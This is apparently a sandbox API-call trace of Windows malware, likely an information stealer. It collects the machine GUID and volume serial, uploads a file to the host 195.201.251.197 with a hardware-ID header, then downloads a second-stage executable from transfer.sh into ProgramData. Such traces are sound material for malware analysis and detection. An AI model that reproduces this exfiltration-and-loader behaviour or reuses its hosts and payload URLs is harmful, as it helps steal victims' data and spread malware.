[0055.980] InternetCrackUrlA (in: lpszUrl="http://195.201.251.197:80", dwUrlLength=0x19, dwFlags=0x0, lpUrlComponents=0xe79dfb4 | out: lpUrlComponents=0xe79dfb4) returned 1
[0055.980] wsprintfA (in: param_1=0xe79f3b8, param_2="%d" | out: param_1="80") returned 2
[0055.981] lstrcatA (in: lpString1="", lpString2="195.201.251.197" | out: lpString1="195.201.251.197") returned="195.201.251.197"
[0055.981] lstrcatA (in: lpString1="", lpString2="http" | out: lpString1="http") returned="http"
[0055.981] lstrcatA (in: lpString1="http", lpString2="://" | out: lpString1="http://") returned="http://"
[0055.981] GetWindowsDirectoryA (in: lpBuffer=0xe79de80, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa
[0055.981] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0xe79ddb8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe79ddb8*=0xc287f38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
[0055.981] GetProcessHeap () returned 0x680000
[0055.981] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x104) returned 0xf2de5f0
[0055.981] wsprintfA (in: param_1=0xf2de5f0, param_2="%08lX%04lX%lu-" | out: param_1="D5DBAA177EAC3343412148-") returned 23
[0055.983] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0055.983] GetCurrentHwProfileA (in: lpHwProfileInfo=0xe79dd0c | out: lpHwProfileInfo=0xe79dd0c) returned 1
[0055.984] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db40
[0055.984] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db78
[0055.984] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0xe79db80 | out: phkResult=0xe79db80*=0x51c) returned 0x0
[0055.984] RegQueryValueExA (in: hKey=0x51c, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0xe79dc88, lpcbData=0xe79db84*=0xff | out: lpType=0x0, lpData=0xe79dc88*=0x30, lpcbData=0xe79db84*=0x25) returned 0x0
[0055.984] RegCloseKey (hKey=0x51c) returned 0x0
[0055.984] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0xe79db88 | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1
[0055.984] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67dba0
[0055.984] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x6704a0
[0055.984] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x6704c8
[0055.984] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.984] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x670500
[0055.984] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704c8 | out: hHeap=0x670000) returned 1
[0055.984] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.984] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dba0 | out: hHeap=0x670000) returned 1
[0055.985] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.985] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db40 | out: hHeap=0x670000) returned 1
[0055.985] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x670558
[0055.985] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x6704a0
[0055.985] GetProcessHeap () returned 0x680000
[0055.985] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x800000) returned 0xf3bb020
[0056.004] InternetOpenA (lpszAgent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0056.005] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x2, lpBuffer=0xe79b110*, dwBufferLength=0x4) returned 1
[0056.006] StrCmpCA (pszStr1="http://", pszStr2="https://") returned -57
[0056.006] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0xe056798
[0056.006] GetTickCount () returned 0x14e0bce
[0056.006] GetLastError () returned 0x0
[0056.006] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x214) returned 0x67ec40
[0056.006] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0056.006] GetCurrentThreadId () returned 0x134c
[0056.006] SetLastError (dwErrCode=0x0)
[0056.006] GetLastError () returned 0x0
[0056.006] SetLastError (dwErrCode=0x0)
[0056.006] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="1") returned 1
[0056.006] GetLastError () returned 0x0
[0056.006] SetLastError (dwErrCode=0x0)
[0056.006] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="19") returned 2
[0056.006] GetLastError () returned 0x0
[0056.007] SetLastError (dwErrCode=0x0)
[0056.007] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="196") returned 3
[0056.007] GetLastError () returned 0x0
[0056.007] SetLastError (dwErrCode=0x0)
[0056.007] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="1961") returned 4
[0056.007] GetLastError () returned 0x0
[0056.007] SetLastError (dwErrCode=0x0)
[0056.007] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="19619") returned 5
[0056.007] GetLastError () returned 0x0
[0056.007] SetLastError (dwErrCode=0x0)
[0056.007] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="196197") returned 6
[0056.007] GetLastError () returned 0x0
[0056.007] SetLastError (dwErrCode=0x0)
[0056.007] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="1961976") returned 7
[0056.007] GetLastError () returned 0x0
[0056.007] SetLastError (dwErrCode=0x0)
[0056.007] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="19619765") returned 8
[0056.007] GetLastError () returned 0x0
[0056.007] SetLastError (dwErrCode=0x0)
[0056.007] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="196197650") returned 9
[0056.007] GetLastError () returned 0x0
[0056.007] SetLastError (dwErrCode=0x0)
[0056.007] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="1961976501") returned 10
[0056.007] GetLastError () returned 0x0
[0056.007] SetLastError (dwErrCode=0x0)
[0056.007] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="19619765015") returned 11
[0056.008] GetLastError () returned 0x0
[0056.008] SetLastError (dwErrCode=0x0)
[0056.008] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="196197650159") returned 12
[0056.008] GetLastError () returned 0x0
[0056.008] SetLastError (dwErrCode=0x0)
[0056.008] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="1961976501593") returned 13
[0056.008] GetLastError () returned 0x0
[0056.008] SetLastError (dwErrCode=0x0)
[0056.008] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="19619765015930") returned 14
[0056.008] GetLastError () returned 0x0
[0056.008] SetLastError (dwErrCode=0x0)
[0056.008] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="196197650159302") returned 15
[0056.008] GetLastError () returned 0x0
[0056.008] SetLastError (dwErrCode=0x0)
[0056.008] wsprintfA (in: param_1=0xe056798, param_2="%s%d" | out: param_1="1961976501593023") returned 16
[0056.009] lstrcatA (in: lpString1="", lpString2="1961976501593023" | out: lpString1="1961976501593023") returned="1961976501593023"
[0056.009] lstrcatA (in: lpString1="", lpString2="\r\n" | out: lpString1="\r\n") returned="\r\n"
[0056.009] lstrcatA (in: lpString1="\r\n", lpString2="------" | out: lpString1="\r\n------") returned="\r\n------"
[0056.009] lstrcatA (in: lpString1="\r\n------", lpString2="1961976501593023" | out: lpString1="\r\n------1961976501593023") returned="\r\n------1961976501593023"
[0056.009] lstrcatA (in: lpString1="\r\n------1961976501593023", lpString2="--" | out: lpString1="\r\n------1961976501593023--") returned="\r\n------1961976501593023--"
[0056.009] lstrcatA (in: lpString1="\r\n------1961976501593023--", lpString2="\r\n" | out: lpString1="\r\n------1961976501593023--\r\n") returned="\r\n------1961976501593023--\r\n"
[0056.009] lstrcatA (in: lpString1="", lpString2="Cont" | out: lpString1="Cont") returned="Cont"
[0056.009] lstrcatA (in: lpString1="Cont", lpString2="ent-Typ" | out: lpString1="Content-Typ") returned="Content-Typ"
[0056.009] lstrcatA (in: lpString1="Content-Typ", lpString2="e: multip" | out: lpString1="Content-Type: multip") returned="Content-Type: multip"
[0056.009] lstrcatA (in: lpString1="Content-Type: multip", lpString2="art/for" | out: lpString1="Content-Type: multipart/for") returned="Content-Type: multipart/for"
[0056.009] lstrcatA (in: lpString1="Content-Type: multipart/for", lpString2="m-data; " | out: lpString1="Content-Type: multipart/form-data; ") returned="Content-Type: multipart/form-data; "
[0056.009] lstrcatA (in: lpString1="Content-Type: multipart/form-data; ", lpString2="boun" | out: lpString1="Content-Type: multipart/form-data; boun") returned="Content-Type: multipart/form-data; boun"
[0056.009] lstrcatA (in: lpString1="Content-Type: multipart/form-data; boun", lpString2="dary=" | out: lpString1="Content-Type: multipart/form-data; boundary=") returned="Content-Type: multipart/form-data; boundary="
[0056.009] lstrcatA (in: lpString1="Content-Type: multipart/form-data; boundary=", lpString2="----" | out: lpString1="Content-Type: multipart/form-data; boundary=----") returned="Content-Type: multipart/form-data; boundary=----"
[0056.009] lstrcatA (in: lpString1="Content-Type: multipart/form-data; boundary=----", lpString2="1961976501593023" | out: lpString1="Content-Type: multipart/form-data; boundary=----1961976501593023") returned="Content-Type: multipart/form-data; boundary=----1961976501593023"
[0056.009] InternetConnectA (hInternet=0xcc0004, lpszServerName="195.201.251.197", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0056.009] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400100, dwContext=0x0) returned 0xcc000c
[0056.010] lstrcatA (in: lpString1="", lpString2="X-Id: " | out: lpString1="X-Id: ") returned="X-Id: "
[0056.010] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0056.010] lstrcatA (in: lpString1="X-Id: ", lpString2="e749025c61b2caca10aa829a9e1a65a1" | out: lpString1="X-Id: e749025c61b2caca10aa829a9e1a65a1") returned="X-Id: e749025c61b2caca10aa829a9e1a65a1"
[0056.010] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0056.010] lstrlenA (lpString="X-Id: e749025c61b2caca10aa829a9e1a65a1") returned 38
[0056.010] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="X-Id: e749025c61b2caca10aa829a9e1a65a1", dwHeadersLength=0x26, dwModifiers=0x20000000) returned 1
[0056.010] lstrcatA (in: lpString1="", lpString2="X-Token: " | out: lpString1="X-Token: ") returned="X-Token: "
[0056.010] lstrcatA (in: lpString1="X-Token: ", lpString2="79c5420cbd3801311b97a99670be75db" | out: lpString1="X-Token: 79c5420cbd3801311b97a99670be75db") returned="X-Token: 79c5420cbd3801311b97a99670be75db"
[0056.010] lstrlenA (lpString="X-Token: 79c5420cbd3801311b97a99670be75db") returned 41
[0056.010] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="X-Token: 79c5420cbd3801311b97a99670be75db", dwHeadersLength=0x29, dwModifiers=0x20000000) returned 1
[0056.010] lstrcatA (in: lpString1="", lpString2="X-hwid: " | out: lpString1="X-hwid: ") returned="X-hwid: "
[0056.010] lstrcatA (in: lpString1="X-hwid: ", lpString2="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963" | out: lpString1="X-hwid: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963") returned="X-hwid: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963"
[0056.010] lstrlenA (lpString="X-hwid: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963") returned 72
[0056.010] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="X-hwid: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963", dwHeadersLength=0x48, dwModifiers=0x20000000) returned 1
[0056.010] lstrcatA (in: lpString1="", lpString2="------" | out: lpString1="------") returned="------"
[0056.010] lstrcatA (in: lpString1="------", lpString2="1961976501593023" | out: lpString1="------1961976501593023") returned="------1961976501593023"
[0056.010] lstrcatA (in: lpString1="------1961976501593023", lpString2="\r\n" | out: lpString1="------1961976501593023\r\n") returned="------1961976501593023\r\n"
[0056.010] lstrcatA (in: lpString1="------1961976501593023\r\n", lpString2="Content-Disposition: form-data; name=\"" | out: lpString1="------1961976501593023\r\nContent-Disposition: form-data; name=\"") returned="------1961976501593023\r\nContent-Disposition: form-data; name=\""
[0056.010] lstrcatA (in: lpString1="------1961976501593023\r\nContent-Disposition: form-data; name=\"", lpString2="file" | out: lpString1="------1961976501593023\r\nContent-Disposition: form-data; name=\"file") returned="------1961976501593023\r\nContent-Disposition: form-data; name=\"file"
[0056.010] lstrcatA (in: lpString1="------1961976501593023\r\nContent-Disposition: form-data; name=\"file", lpString2="\"\r\n\r\n" | out: lpString1="------1961976501593023\r\nContent-Disposition: form-data; name=\"file\"\r\n\r\n") returned="------1961976501593023\r\nContent-Disposition: form-data; name=\"file\"\r\n\r\n"
[0056.010] lstrlenA (lpString="\r\n------1961976501593023--\r\n") returned 28
[0056.010] lstrlenA (lpString="------1961976501593023\r\nContent-Disposition: form-data; name=\"file\"\r\n\r\n") returned 71
[0056.010] GetProcessHeap () returned 0x680000
[0056.010] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x19f87) returned 0xf2deb30
[0056.011] lstrlenA (lpString="------1961976501593023\r\nContent-Disposition: form-data; name=\"file\"\r\n\r\n") returned 71
[0056.011] lstrlenA (lpString="------1961976501593023\r\nContent-Disposition: form-data; name=\"file\"\r\n\r\n") returned 71
[0056.012] lstrlenA (lpString="\r\n------1961976501593023--\r\n") returned 28
[0056.012] lstrlenA (lpString="------1961976501593023\r\nContent-Disposition: form-data; name=\"file\"\r\n\r\n") returned 71
[0056.012] lstrlenA (lpString="Content-Type: multipart/form-data; boundary=----1961976501593023") returned 64
[0056.013] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="Content-Type: multipart/form-data; boundary=----1961976501593023", dwHeadersLength=0x40, lpOptional=0xf2deb30*, dwOptionalLength=0x19f87) returned 1
[0058.134] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x13, lpBuffer=0xe79d860, lpdwBufferLength=0xe79b120, lpdwIndex=0x0 | out: lpBuffer=0xe79d860*, lpdwBufferLength=0xe79b120*=0x3, lpdwIndex=0x0) returned 1
[0058.135] StrCmpCA (pszStr1="200", pszStr2="200") returned 0
[0058.135] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79c4d8, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0xe79b124 | out: lpBuffer=0xe79c4d8*, lpdwNumberOfBytesRead=0xe79b124*=0x51) returned 1
[0058.135] lstrcatA (in: lpString1="", lpString2="https://transfer.sh/get/lqTwP6/pipka.exe;https://transfer.sh/get/8n86mq/sima.exe;" | out: lpString1="https://transfer.sh/get/lqTwP6/pipka.exe;https://transfer.sh/get/8n86mq/sima.exe;") returned="https://transfer.sh/get/lqTwP6/pipka.exe;https://transfer.sh/get/8n86mq/sima.exe;"
[0058.135] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79c4d8, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0xe79b124 | out: lpBuffer=0xe79c4d8*, lpdwNumberOfBytesRead=0xe79b124*=0x0) returned 1
[0058.135] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0058.136] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0058.136] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0058.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0058.139] lstrcatA (in: lpString1="", lpString2="https://transfer.sh/get/lqTwP6/pipka.exe;https://transfer.sh/get/8n86mq/sima.exe;" | out: lpString1="https://transfer.sh/get/lqTwP6/pipka.exe;https://transfer.sh/get/8n86mq/sima.exe;") returned="https://transfer.sh/get/lqTwP6/pipka.exe;https://transfer.sh/get/8n86mq/sima.exe;"
[0058.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670558 | out: hHeap=0x670000) returned 1
[0058.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670500 | out: hHeap=0x670000) returned 1
[0058.141] lstrlenA (lpString="https://transfer.sh/get/lqTwP6/pipka.exe;https://transfer.sh/get/8n86mq/sima.exe;") returned 81
[0058.143] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x67db18
[0058.145] lstrlenA (lpString="https://transfer.sh/get/lqTwP6/pipka.exe") returned 40
[0058.145] lstrlenA (lpString="https://transfer.sh/get/lqTwP6/pipka.exe") returned 40
[0058.145] lstrcpyA (in: lpString1=0xe79d3b8, lpString2="://transfer.sh/get/lqTwP6/pipka.exe" | out: lpString1="://transfer.sh/get/lqTwP6/pipka.exe") returned="://transfer.sh/get/lqTwP6/pipka.exe"
[0058.145] StrCmpCA (pszStr1="https", pszStr2="open_") returned -7
[0058.145] lstrcatA (in: lpString1="", lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\"
[0058.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x14) returned 0x671500
[0058.145] GetTickCount () returned 0x14e142b
[0058.147] GetLastError () returned 0x0
[0058.148] SetLastError (dwErrCode=0x0)
[0058.148] GetLastError () returned 0x0
[0058.148] SetLastError (dwErrCode=0x0)
[0058.148] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="2") returned 1
[0058.148] GetLastError () returned 0x0
[0058.148] SetLastError (dwErrCode=0x0)
[0058.148] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="23") returned 2
[0058.148] GetLastError () returned 0x0
[0058.148] SetLastError (dwErrCode=0x0)
[0058.148] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="231") returned 3
[0058.148] GetLastError () returned 0x0
[0058.148] SetLastError (dwErrCode=0x0)
[0058.148] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="2311") returned 4
[0058.148] GetLastError () returned 0x0
[0058.148] SetLastError (dwErrCode=0x0)
[0058.148] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="23111") returned 5
[0058.148] GetLastError () returned 0x0
[0058.148] SetLastError (dwErrCode=0x0)
[0058.148] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="231117") returned 6
[0058.148] GetLastError () returned 0x0
[0058.148] SetLastError (dwErrCode=0x0)
[0058.148] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="2311170") returned 7
[0058.148] GetLastError () returned 0x0
[0058.149] SetLastError (dwErrCode=0x0)
[0058.149] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="23111707") returned 8
[0058.149] GetLastError () returned 0x0
[0058.149] SetLastError (dwErrCode=0x0)
[0058.149] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="231117073") returned 9
[0058.149] GetLastError () returned 0x0
[0058.149] SetLastError (dwErrCode=0x0)
[0058.149] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="2311170734") returned 10
[0058.149] GetLastError () returned 0x0
[0058.149] SetLastError (dwErrCode=0x0)
[0058.149] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="23111707348") returned 11
[0058.149] GetLastError () returned 0x0
[0058.149] SetLastError (dwErrCode=0x0)
[0058.149] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="231117073487") returned 12
[0058.149] GetLastError () returned 0x0
[0058.149] SetLastError (dwErrCode=0x0)
[0058.149] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="2311170734870") returned 13
[0058.149] GetLastError () returned 0x0
[0058.149] SetLastError (dwErrCode=0x0)
[0058.149] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="23111707348706") returned 14
[0058.149] GetLastError () returned 0x0
[0058.149] SetLastError (dwErrCode=0x0)
[0058.149] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="231117073487062") returned 15
[0058.149] GetLastError () returned 0x0
[0058.149] SetLastError (dwErrCode=0x0)
[0058.149] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="2311170734870620") returned 16
[0058.149] GetLastError () returned 0x0
[0058.150] SetLastError (dwErrCode=0x0)
[0058.150] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="23111707348706201") returned 17
[0058.150] GetLastError () returned 0x0
[0058.150] SetLastError (dwErrCode=0x0)
[0058.150] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="231117073487062011") returned 18
[0058.150] GetLastError () returned 0x0
[0058.150] SetLastError (dwErrCode=0x0)
[0058.150] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="2311170734870620112") returned 19
[0058.150] GetLastError () returned 0x0
[0058.150] SetLastError (dwErrCode=0x0)
[0058.150] wsprintfA (in: param_1=0x671500, param_2="%s%d" | out: param_1="23111707348706201124") returned 20
[0058.150] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="23111707348706201124" | out: lpString1="C:\\ProgramData\\23111707348706201124") returned="C:\\ProgramData\\23111707348706201124"
[0058.150] lstrcatA (in: lpString1="C:\\ProgramData\\23111707348706201124", lpString2=".exe" | out: lpString1="C:\\ProgramData\\23111707348706201124.exe") returned="C:\\ProgramData\\23111707348706201124.exe"
[0058.152] InternetOpenA (lpszAgent="", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0058.152] lstrlenA (lpString="https://transfer.sh/get/lqTwP6/pipka.exe") returned 40
[0058.152] InternetCrackUrlA (in: lpszUrl="https://transfer.sh/get/lqTwP6/pipka.exe", dwUrlLength=0x28, dwFlags=0x10000000, lpUrlComponents=0xe79cd98 | out: lpUrlComponents=0xe79cd98) returned 1
[0058.152] StrCmpCA (pszStr1="https", pszStr2="https") returned 0
[0058.152] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="https://transfer.sh/get/lqTwP6/pipka.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x800100, dwContext=0x0) returned 0xcc000c
[0059.546] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x13, lpBuffer=0xe79d24c, lpdwBufferLength=0xe79ce3c, lpdwIndex=0x0 | out: lpBuffer=0xe79d24c*, lpdwBufferLength=0xe79ce3c*=0x3, lpdwIndex=0x0) returned 1
[0059.546] StrCmpCA (pszStr1="200", pszStr2="200") returned 0
[0059.546] CreateFileA (lpFileName="C:\\ProgramData\\23111707348706201124.exe" (normalized: "c:\\programdata\\23111707348706201124.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x530
[0059.549] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.549] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.550] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.550] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.551] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.551] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.551] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.551] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.551] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.551] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.551] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
